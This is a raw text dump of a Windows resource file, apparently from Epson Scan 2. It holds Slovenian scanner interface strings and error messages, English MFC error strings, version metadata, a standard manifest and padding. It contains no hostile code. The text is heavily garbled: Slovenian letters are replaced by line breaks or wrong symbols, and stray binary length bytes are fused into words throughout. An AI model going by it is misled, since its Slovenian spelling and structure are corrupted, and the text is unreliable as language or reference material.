ji, zmanjaajte kontrast.gPrilagodite lahko svetlost sredinskega razpona barv (gama), da izboljaate presvetle ali pretemne slike.�Robove 
rno-belih obmo
ij na sliki lahko prilagodite tako, da pove
ate prag in poudarite 
rna obmo
ja, ali tako, da zmanjaate prag in poudarite bela obmo
ja.-Poudarite in izostrite lahko obrise na sliki.~Odstranite lahko valovite vzorce (moir�), ki se lahko pojavijo na opti
no prebranih slikah tiskanih dokumentov, kot so revije.VOdstranite lahko sence, ki na opti
no prebrani sliki nastanejo zaradi robov izvirnika.YOdstranite lahko sence, ki na opti
no prebrani sliki nastanejo zaradi lukenj v izvirniku.pIzvirnik lahko opti
no preberete in ga hkrati shranite kot dve opti
no prebrani sliki z razli
nimi nastavitvami.
Nastavitve...Nastavitve izboljaanja besedilaIzboljaanje robovPragRaven zmanjaanja aumaZmanjaaj zme
kanost originalovNZ mo~nostmi prilagajanja barv lahko popravite barve na opti
no prebrani sliki.3Izberete lahko mo~nosti predogleda v obliki sli
ic.2Prilagodite lahko svetlost opti
no prebrane slike.�e ~elite pove
ati razliko med svetlimi in temnimi obmo
ji na sliki, pove
ajte kontrast. e ~elite zmanjaati razliko med svetlimi in temnimi obmo
ji, zmanjaajte kontrast.xe ~elite pove
ati ~ivahnost barv na sliki, pove
ajte nasi
enost. e ~elite nevtralizirati barve, zmanjaajte nasi
enost.-Poudarite in izostrite lahko obrise na sliki.TObnovite obledele barve na opti
no prebranih slikah izvirnikov na papirju ali filmu.FPosvetlite slike in filme, ki so pretemni zaradi osvetlitve iz ozadja.~Odstranite lahko valovite vzorce (moir�), ki se lahko pojavijo na opti
no prebranih slikah tiskanih dokumentov, kot so revije.:Odstranite prah z opti
no prebranih fotografij ali filmov.6Zmanjaate videz zrnatosti na opti
no prebranih filmih.PADOdstranite prah in praske z opti
no prebranih fotografij ali filmov.Pove
ava	`t. branj�Izberite mo~nost �Sli
ice�, 
e ~elite samodejno prikazati predogled posameznih slik. Prekli
ite izbiro mo~nosti �Sli
ice�, 
e ~elite prikazati predogled celotnega obmo
ja opti
nega branja kot eno sliko.Zadnja prebrana slikaNi prebranih slik0Vzpostavljanje povezave z opti
nim bralnikom ...Osve~i-Uporabite steklo opti
nega bralnika vodoravnoUltrazvo
ni senzorDol~inaSli
icaIzberite usmerjenost izvirnika.Oficio 9
Mexico-OficioFotografski papirPANastavitev opti
nega bralnikaZaznaj umazanijo na stekluIzklopiPri nizki stopnji umazanostiPri visoki stopnji umazanosti	Nastavite	Obvestilo*Opozorilo o umazaniji na stekleni povrainiIndian-Legal	Vodni ~igizklopljeno
Vklopljeno
Nastavitve...Nastavitve vodnega ~igaBesediloPolo~ajXLevoDesnoYZgorajSpodajVelikost-+Kot-+StopnGostotaSvetloTemnoPAZaa
ita papirja
Nastavitve...Nastavitve vrtenjaObojestransko vrtenje*Sprednjo in zadnjo stran zasukaj neodvisnoObe strani zasukaj v isto smerSamodejno vrtenjeZaupnoHObvesti me, ko je na steklu opti
nega bralnika zaznan prah ali umazanijaOStisne sliko med opti
nim branjem, kar lahko izboljaa hitrost opti
nega branja.�Sploana kapaciteta nalaganja

Navadni papir: 20 / Vizitke: 6 / Ra
uni: 1



Za pravilno nalaganje izvirnikov, potegnite vogale, da stojijo pod kotomPA
Nastavitve...Nastavitev vrste slikeZaznana barva za �Samodejno�Barvno/
rno-belo
Barvno/sivine?Ko nalo~ite originale, lu
 za pripravljenost postane svetlejaa.	ExecutiveVNi dovolj pomnilnika za program Epson Scan 2. Zaprite vse programe in poskusite znova.CNi mogo
e najti potrebnih datotek.

Ponovno namestite Epson Scan 2.LIzbranega profila ColorSync ni mogo
e najti.

Uporabljen bo privzeti profil.FIzbranega profila ICC ni mogo
e najti.

Uporabljen bo privzeti profil.vNi mogo
e zagnati programa Epson Scan 2 Utility, medtem ko Epson Scan 2 te
e. Zaprite Epson Scan 2 in poskusite znova.qNi mogo
e zagnati programa Epson Scan 2, medtem ko Epson Scan 2 Utility te
e. Zaprite Utility in poskusite znova.^Delovne mape ni mogo
e ustvariti na izbranem mestu. Namesto nje bo uporabljeno privzeto mesto.]Shranjene uporabniake nastavitve so neveljavne in bodo nadomea
ene s privzetimi nastavitvami.Nastavitve ni mogo
e shraniti.�Komunikacija z opti
nim bralnikom ni mogo
a. Prepri
ajte se, da je opti
ni bralnik vklju
en in povezan z ra
unalnikom.

Ali ~elite preveriti nastavitve povezave?XPodatkov ni mogo
e sprejeti. Preverite povezavo z opti
nim bralnikom in poskusite znova.WPodatkov ni mogo
e poslati. Preverite povezavo z opti
nim bralnikom in poskusite znova.xPovezave z omre~nim opti
nim bralnikom ni mogo
e vzpostaviti. Preverite opti
ni bralnik, omre~je in nastavitve povezave.TPreverite omre~ne nastavitve za Epson Scan 2 in opti
ni bralnik ter poskusite znova.�Opti
ni bralnik je v uporabi. (Uporabniaki IP naslov je prikazan spodaj.) Po
akajte, da se kon
a opti
no branje, in nato poskusite znova.

Uporabnik: %sMRa
unalnik je bil izklju
en iz opti
nega bralnika.

Epson Scan 2 se bo zaprl.IOpti
ni bralnik ni povezan z omre~jem.

Program Epson Scan 2 se bo zaprl.\asovna omejitev opti
nega bralnika pote
e po 15 minutah.

Program Epson Scan 2 se bo zaprl.@Opti
ni bralnik je v uporabi ali ni na voljo. Prosimo po
akajte.vPojavila se je napaka programa Epson Scan 2, zato se bo zaprl. Preverite stanje opti
nega bralnika in poskusite znova.KPred opti
nim branjem originale vstavite v samodejni podajalnik dokumentov.CSPD ali SPD-pokrov je odprt. Zaprite ga in spet nalo~ite izvirnike.0Vhodni pladenj je zaprt. Odprite vhodni pladenj.u}ivljenjska doba kompleta valjev je potekla. Zamenjajte komplet in ponastavite atevec. Navodila najdete v priro
niku.t}ivljenjska doba pobiralnega valja je potekla. Zamenjajte valj in ponastavite atevec. Navodila najdete v priro
niku.{}ivljenjska doba lo
itvene blazinice je potekla. Zamenjajte blazinico in ponastavite atevec. Navodila najdete v priro
niku.�Zaznano podajanje ve
 listov papirja. Odprite pokrov opti
nega bralnika ali pokrov samodejnega podajalnika dokumentov in odstranite izvirnike, zaprite pokrov in spet nalo~ite izvirnike.�Zagozden papir v samodejnem podajalniku dokumentov. Odstranite izvirnike in jih ae enkrat nalo~ite. Glejte priro
nik z navodili.Pri opti
nem branju naslednjih izvirnikov potrdite ro
ico za lo
evanje na vaaem opti
nem bralniku in tudi nastavitev Zaznaj dva podana lista na programu Epson Scan 2.

- nosilna folija

- prepognjen papir

- dolg list

- plasti
na kartica

Ali ~elite nadaljevati opti
no branje?Zaprite napravo za prosojnice.�Napaka na napravi za prosojnice. Prepri
ajte se, da je opti
ni bralnik vklopljen in pravilno priklju
en ter prekrivalo za odsevne dokumente odstranjeno.8Z opti
nega bralnika odstranite prekrivalo za dokumente.�Neuspeano preverjanje pristnosti. Preverite, ali se uporabniako ime in geslo, registrirana v programu Epson Scan 2 in na izdelku, ujemata.WNimate dovoljenja za uporabo funkcij opti
nega branja. Prosimo, preverite pri skrbniku.ABaterija je skoraj prazna. Napolnite baterijo opti
nega bralnika.zIzbrano obmo
je je preveliko za to lo
ljivost. Zmanjaajte nastavitve lo
ljivosti ali pove
ajte velikost izbranega obmo
ja.CIzbrano obmo
je je premajhno. Pove
ajte velikost izbranega obmo
ja.�Izbrana velikost ni podprta v samodejnem podajalniku dokumentov.

Polo~ite izvirnik na stekleno ploa
o opti
nega bralnika in izberite stekleno ploa
o opti
nega bralnika kot vir dokumenta.IZmanjaajte lo
ljivost, da shranite sliko v velikosti, ki ste jo dolo
ili.\e ~elite uporabiti funkcijo Odstran. filtriranja, nastavite lo
ljivost na 600 dpi ali manj.Ve ~elite popraviti ukrivljenosti dokumenta, nastavite lo
ljivost na 600 dpi ali manj.QZa uporabo tehnologije DIGITAL ICE Technology zmanjaajte lo
ljivost ali pove
avo.Se ~elite uporabiti izboljaanje besedila, nastavite lo
ljivost na 600 dpi ali manj.]e ~elite uporabiti samodejno segmentacijo obmo
ja, nastavite lo
ljivost na 600 dpi ali manj.Be ~elite zlepiti slike, nastavite lo
ljivost na 600 dpi ali manj.[Za ustvarjanje PDF-oblike, ki omogo
a iskanje, nastavite lo
ljivost med 200 dpi in 600 dpi.+Vse opti
no prebrane strani so bile prazne.Izvirnika ni mogo
e zaznati.%Ni mogo
e shraniti prebranih datotek.�Ni mogo
e shraniti slike na trenutno mesto, ker ni dovolj prostora. Spremenite mesto shranjevanja ali pove
ajte koli
ino prostora na disku.PTe slike ni mogo
e shraniti na trenutno mesto. Spremenite mesto za shranjevanje._Ni mogo
e shraniti datoteke z izbranim imenom. Spremenite ime datoteke in nato poskusite znova.$Ali ~elite izbrisati izbrane strani?=Opti
no prebrane slike bodo zavr~ene. Ali ~elite nadaljevati?GOpti
no branje je bilo preklicano, ker je bil pritisnjen gumb �Ustavi�.^Opti
no branje je bilo preklicano. Odstranite izvirnike iz samodejnega podajalnika dokumentov.PSamodejnega ostrenja ni mogo
e uporabiti. Namesto tega uporabite ro
no ostrenje.Y`tevca ni mogo
e ponastaviti. Preverite povezavo z opti
nim bralnikom in poskusite znova.V`tevca ni mogo
e prebrati. Preverite povezavo z opti
nim bralnikom in poskusite znova..Ali ~elite ponastaviti atevec kompleta valjev?0Ali ~elite ponastaviti atevec pobiralnega valja?1Ali ~elite ponastaviti atevec lo
itvene blaznice?Xia
enja ni mogo
e opraviti. Preverite povezavo z opti
nim bralnikom in poskusite znova.ia
enje je dokon
ano.PAPUmerjanje ni mogo
e. Preverite povezavo z opti
nim bralnikom in poskusite znova.Umerjanje je kon
ano.@Te slike ni mogo
e shraniti na trenutno mesto. Spremenite mesto.Vnesite predpono.KV imenih datotek ne smete uporabiti naslednjih znakov:

\ / : . * ? " < > |DIme �%s� ~e obstaja.

Ali ga ~elite prepisati z novimi nastavitvami?(Ime �%s� ~e obstaja.

Vnesite drugo ime.FDelovne mape ni mogo
e ustvariti na trenutnem mestu. Spremenite mesto.Vnesite geslo.Vnesite geslo.#Geslo se ne ujema. Poskusite znova.#Geslo se ne ujema. Poskusite znova.RGesli za odpiranje datoteke in nastavitve za zaa
ito lastnine ne smeta biti enaki.3Preverite usmerjenost plasti
ne kartice na pladnju.IPrepri
ajte se, da je plasti
na kartica na pladnju v vodoravnem polo~aju.Ali res ~elite izbrisati �%s�?PAUVse nastavitve bodo ponastavljene na privzete vrednosti.

Ali res ~elite nadaljevati?Ve spremenite na
in predogleda, bodo slike za predogled zavr~ene.

}elite nadaljevati?_e zaprete okno �Predogled�, bo trenutna slika za predogled izbrisana.

Ali ~elite nadaljevati?^e spremenite to nastavitev, bo trenutna slika za predogled zavr~ena.

Ali ~elite nadaljevati?Se spremenite to nastavitev, bo izbrano obmo
je izbrisano.

Ali ~elite nadaljevati?oe spremenite na
in predogleda, ponastavite nekatere nastavitve na privzete vrednosti.

Ali ~elite nadaljevati?ce spremenite nastavitev, se bodo nekatere nastavitve ponastavile na privzete.

}elite nadaljevati?�e je na opti
no prebrani sliki vidna navpi
na 
rta, morate opti
ni bralnik o
istiti. Za ve
 informacij glejte dokumentacijo opti
nega bralnika.�Za opti
no branje strani po meri morate pravilno prilagoditi vodila za papir. V nasprotnem primeru se bo izvirnik morda zvil in poakodoval.lIzbirnik podajanja premaknite v polo~aj za opti
no branje s ADF-jem.

Ali ~elite nadaljevati opti
no branje?�Napaka opti
nega bralnika. Aplikacija Epson Scan 2 se bo zaprla. Preverite stanje opti
nega bralnika in poskusite znova.

e napake ne odpravite, se obrnite na podporo dru~be Epson.�Komunikacija z opti
nim bralnikom ni mogo
a.

Prepri
ajte se, da je opti
ni bralnik priklju
en v omre~je. Opti
ni bralnik in Network Interface Unit ponovno za~enite ter poskusite ponovno.Se ~elite nastaviti Zasukaj na Samodejno, nastavite lo
ljivost na 600 dpi ali manj.�e je ta omogo
ena, bo podajanje morda za
asno prekinjeno, preden bodo izvirniki izvr~eni, opti
no branje pa bo po
asnejae, odvisno od vrste dokumenta.Preklicujem opti
no branje ...VPapir se je zagozdil. V dokumentaciji poia
ite navodila za odstranjevanje izvirnikov.

Kliknite [Nadaljuj], 
e ~elite nadaljevati opti
no branje.

Kliknite [Shrani in zapusti], 
e ~elite shraniti opti
no prebrane strani in se vrniti v glavni meni.

Kliknite [Zaustavitev], 
e ~elite ustaviti opti
no branje in zavre
i opti
no prebrane strani.�Zaznani sta bili dve podani strani. V dokumentaciji poia
ite navodila za odstranjevanje izvirnikov.

Kliknite [Nadaljuj], 
e ~elite nadaljevati opti
no branje.

Kliknite [Zaustavitev], 
e ~elite ustaviti opti
no branje in zavre
i opti
no prebrane strani.�Papir se je zagozdil. V dokumentaciji poia
ite navodila za odstranjevanje izvirnikov.

Kliknite [Nadaljuj], 
e ~elite nadaljevati opti
no branje.

Kliknite [Zaustavitev], 
e ~elite ustaviti opti
no branje in zavre
i opti
no prebrane strani.IV notranjosti opti
nega bralnika je morda nekaj umazanije. Odstranite jo.�Na stekleni povraini v notranjosti opti
nega bralnika je bila zaznana umazanija. Na opti
no prebrani sliki se lahko pojavijo navpi
ne proge. O
istite stekleno povraino. Navodila najdete v priro
niku.2}ivljenjska doba kompleta valjev bo kmalu potekla.4}ivljenjska doba pobiralnega valja bo kmalu potekla.6}ivljenjska doba lo
itvene blazinice bo kmalu potekla.dVaa izvirnik ni bil podan pravilno. V dokumentaciji poia
ite navodila za odstranjevanje izvirnikov.

Kliknite [Nadaljuj], 
e ~elite nadaljevati opti
no branje.

Kliknite [Shrani in zapusti], 
e ~elite shraniti opti
no prebrane strani in se vrniti v glavni meni.

Kliknite [Zaustavitev], 
e ~elite ustaviti opti
no branje in zavre
i opti
no prebrane strani.�Vaa izvirnik ni bil podan pravilno. V dokumentaciji poia
ite navodila za odstranjevanje izvirnikov.

Kliknite [Nadaljuj], 
e ~elite nadaljevati opti
no branje.

Kliknite [Zaustavitev], 
e ~elite ustaviti opti
no branje in zavre
i opti
no prebrane strani.FVrsto slike nastavite na Samodejno, lo
ljivost pa na 600 dpi ali manj.�Pristnosti uporabnika ni mogo
e preveriti.

Vnesite uporabniako ime in geslo, ki sta registrirana v opti
nem bralniku, in nato znova opti
no preberite dokument.

Ali ~elite nadaljevati?PACNapaka ADF-ja. Preverite stanje ADF-ja in znova nalo~ite izvirnike.PAOpenSave AsAll Files (*.*)Untitledan unnamed filePA&HidePANo error message is available.#Attempted an unsupported operation.$A required resource was unavailable.Out of memory.An unknown error has occurred.!Encountered an improper argument.Incorrect filename.Failed to open document.Failed to save document.Save changes to %1? Failed to create empty document.The file is too large to open.Could not start print job.Failed to launch help.Internal application error.Command failed.)Insufficient memory to perform operation.PSystem registry entries have been removed and the INI file (if any) was deleted.BNot all of the system registry entries (or INI file) were removed.FThis program requires the file %s, which was not found on this system.tThis program is linked to the missing export %s in the file %s. This machine may have an incompatible version of %s.PAEnter an integer.Enter a number.#Enter an integer between %1 and %2.!Enter a number between %1 and %2.!Enter no more than %1 characters.Select a button.#Enter an integer between 0 and 255.Enter a positive integer.Enter a date and/or time.Enter a currency.
Enter a GUID.
Enter a time.
Enter a date.Unexpected file format.O%1
Cannot find this file.
Verify that the correct path and file name are given.Destination disk drive is full.5Unable to read from %1, it is opened by someone else.AUnable to write to %1, it is read-only or opened by someone else.1Encountered an unexpected error while reading %1.1Encountered an unexpected error while writing %1.PA%1: %2
Continue running script?Dispatch exception: %1PA#Unable to read write-only property.#Unable to write read-only property.#Unable to load mail system support.Mail system DLL is invalid.!Send Mail failed to send message.PANo error occurred.-An unknown error occurred while accessing %1.%1 was not found.%1 contains an incorrect path.8Could not open %1 because there are too many open files.Access to %1 was denied.0An incorrect file handle was associated with %1.8Could not remove %1 because it is the current directory.2Could not create %1 because the directory is full.Seek failed on %14Encountered a hardware I/O error while accessing %1.3Encountered a sharing violation while accessing %1.3Encountered a locking violation while accessing %1.Disk full while accessing %1.$Attempted to access %1 past its end.No error occurred.-An unknown error occurred while accessing %1.%Attempted to write to the reading %1.$Attempted to access %1 past its end.&Attempted to read from the writing %1.%1 has a bad format."%1 contained an unexpected object. %1 contains an incorrect schema.pixelsUncheckCheckMixed,One or more auto-saved documents were found.�These are more recently saved than the currently open documents and contain changes that were made before the application closed.2Do you want to recover these auto-saved documents?�Note that if you choose to recover the auto-saved documents, you must explicitly save them to overwrite the original documents.  If you choose to not recover the auto-saved versions, they will be deleted.fRecover the auto-saved documents
Open the auto-saved versions instead of the explicitly saved versions^Don't recover the auto-saved documents
Use the last explicitly saved versions of the documents%s [Recovered] @4 �PA @4 @4 @4 @4 @4
 @4 @4
 @4 @4	 @4 @4 @4 @4 @4�4VS_VERSION_INFO��I{I{?FStringFileInfo"002404b0PCompanyNameSeiko Epson CorporationZFileDescriptionEpson Scan 2 UI Resource:
FileVersion6.5.28.31561�ALegalCopyrightCopyright (C) Seiko Epson Corporation 2015. All rights reserved.:
ProductNameEpson Scan 2>
ProductVersion6.5.28.31561DVarFileInfo$Translation$�<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
    <security>
      <requestedPrivileges>
        <requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
      </requestedPrivileges>
    </security>
  </trustInfo>
</assembly>PAPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPAD